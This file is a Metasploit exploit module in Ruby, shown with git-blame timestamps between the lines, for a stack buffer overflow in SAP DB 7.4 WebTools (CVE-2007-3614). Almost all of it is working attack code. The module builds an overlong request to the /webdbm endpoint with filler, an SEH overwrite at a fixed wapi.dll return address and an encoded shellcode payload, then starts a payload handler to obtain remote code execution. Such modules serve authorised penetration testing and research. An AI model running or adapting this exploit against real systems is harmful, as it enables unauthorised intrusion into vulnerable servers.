2007-07-11 21:16:30 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-07-11 21:16:30 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-07-11 21:16:30 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = GreatRanking
|
2007-07-11 21:16:30 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
HttpFingerprint = { :pattern => [ /SAP-Internet-SapDb-Server\// ] }
|
2010-07-14 00:02:21 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::Remote::Seh
|
2007-07-11 21:16:30 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'SAP DB 7.4 WebTools Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack buffer overflow in SAP DB 7.4 WebTools.
|
|
|
|
By sending an overly long GET request, it may be possible for
|
|
|
|
an attacker to execute arbitrary code.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2007-3614' ],
|
|
|
|
[ 'OSVDB', '37838' ],
|
|
|
|
[ 'BID', '24773' ],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 850,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
|
|
|
|
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
|
|
|
|
'EncoderOptions' =>
|
|
|
|
{
|
|
|
|
'BufferRegister' => 'ECX',
|
|
|
|
},
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'SAP DB 7.4 WebTools', { 'Ret' => 0x1003c95a } ], # wapi.dll 7.4.3.0
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jul 5 2007',
|
|
|
|
'DefaultTarget' => 0))
|
2007-07-11 21:16:30 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options( [ Opt::RPORT(9999) ], self.class )
|
|
|
|
end
|
2007-07-11 21:16:30 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
filler = rand_text_alphanumeric(20774)
|
|
|
|
seh = generate_seh_payload(target.ret)
|
2010-07-16 02:33:25 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
sploit = filler + seh + rand_text_alphanumeric(3000)
|
2007-07-11 21:16:30 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
res = send_request_raw(
|
|
|
|
{
|
|
|
|
'uri' => '/webdbm',
|
|
|
|
'query' => 'Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE=' + sploit
|
|
|
|
}, 5)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
handler
|
2010-07-13 22:38:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2007-07-11 21:16:30 +00:00
|
|
|
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|